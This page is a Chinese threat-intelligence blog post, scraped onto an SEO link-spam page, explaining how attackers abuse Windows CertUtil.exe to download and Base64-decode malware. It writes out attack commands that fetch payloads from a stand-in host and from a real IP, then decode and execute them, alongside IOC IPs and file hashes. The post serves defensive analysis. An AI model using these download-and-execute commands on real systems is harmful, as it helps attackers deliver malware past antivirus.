当前位置: 首页 > news >正文

厦门网站建设建网站网站首页包含的内容怎么做

厦门网站建设建网站,网站首页包含的内容怎么做,网站建设论文的摘要,wordpress首页导航栏1、前言 经过国外文章信息#xff0c;CertUtil.exe下载恶意软件的样本。 2、实现原理 Windows有一个名为CertUtil的内置程序#xff0c;可用于在Windows中管理证书。使用此程序可以在Windows中安装#xff0c;备份#xff0c;删除#xff0c;管理和执行与证书和证书存储相… 1、前言 经过国外文章信息CertUtil.exe下载恶意软件的样本。 2、实现原理 Windows有一个名为CertUtil的内置程序可用于在Windows中管理证书。使用此程序可以在Windows中安装备份删除管理和执行与证书和证书存储相关的各种功能。 CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。 使用语法 : certutil.exe -urlcache -split -f [URL] output.fileCasey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。 certutil -urlcache -split -f [serverURL] file.blahregsvr32.exe /s /u /I:file.blah scrub.dll3、实际例子 目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本样本中利用的方法 4、混淆方式 使用CertUtil Base64来绕过安全软件通过Base64对恶意文件进行编码使恶意代码样本看起来像是无害的文本文件然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。 C:\Tempcertutil.exe -urlcache -split -f https://hackers.home/badcontent.txt bad.txtC:\Tempcertutil.exe -decode bad.txt bad.exe在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下 一旦文件下载并使用certutil进行 base64解码它将被保存为update.exe并执行。 certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64certutil -decode update.b64 update.exeupdate.exe 5、样本HASH与分析结果 分析平台分析结果 https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId100https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId100https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId100IOC(Indicators of Compromise)IP:45[.]77[.]55[.]231 181[.]214[.]87[.]240 181[.]214[.]87[.]241 148[.]251[.]133[.]246 文件名与HASH值:update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56 update.exe: 5bb5d3cb837d97174eddc681ca98aa80 msi64.zip: 8d8b8abe93aea52f9865f045a49912ae SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2 6、参考 https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneumhttps://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/ 转载于:https://www.cnblogs.com/17bdw/p/8728656.html
http://www.sadfv.cn/news/87372/

相关文章:

  • 网站建设 APPhtml特效网站
  • 网站设计 工作定制型网站建设推广
  • 外汇黄金网站建设安卓app做网站外壳
  • 江门企业网站模板建站企业管理咨询包括哪些
  • 北京示范校建设网站免费商城建站平台
  • 制作网页的网站fa广州网站制作服务
  • 酒店网站建站百度代运营
  • dreamwearver做网站地图wordpress固定链接标签加上页面
  • 喜欢做木工 网站wordpress和phpmyadmin
  • 做游戏的php网站邯郸专业做网站
  • dw网站建设模板国内做的比较大的外贸电商网站
  • 网站生成静态慢原因室内装修公司哪家好
  • 电影网站系统源码网站前台首页无法显示
  • 优化企业网站标题做网站低价
  • 网站成立时间如何新建一个网页页面
  • 教育学校网站做网级移动营销
  • 用网站做淘客怎么赚钱企业网站设计的方案
  • 自己做网站iis设置怎么重装wordpress
  • 汽车之家网站开发方案平面设计的创意手法有哪些
  • 江门外贸网站推广方案国外购买域名的网站
  • 网站建设怎样接业务查询网站相关网址
  • 具有品牌的上海网站建设如何制作大量网页
  • 网站建设公司名片网站的建设及推广
  • 网站后台程序开发教程wordpress导出出错
  • 企业网站空间在哪里企业标志logo设计图片
  • 网站建设试题以及答案网站权重数据包
  • 网站风格评价标准品购买网站
  • linux 网站建设模板网站项目经费预算
  • 网站宣传内容鲜花网站模板下载
  • wap建设网站福田企业网站推广哪个好